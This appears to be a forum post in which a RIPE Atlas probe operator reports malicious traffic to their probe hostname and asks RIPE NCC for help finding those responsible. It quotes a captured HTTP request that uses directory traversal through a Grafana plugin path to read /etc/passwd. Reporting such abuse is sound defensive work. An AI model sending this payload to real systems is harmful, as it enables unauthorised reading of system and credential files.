Malicious attacks to Atlas probe hostnames

Howdy!

I noticed a slew of malicious inbound attacks coming to my atlas probe hostname, can someone at RIPE NCC please comment on tracking down the actors responsible? SRC IP is:

GET /public/plugins/yeya24-chaosmesh-datasource/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd HTTP/1.1

Host: pXXXXX.probes.atlas.ripe.net

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: /

Accept-Language: en

Accept-Encoding: gzip

Connection: close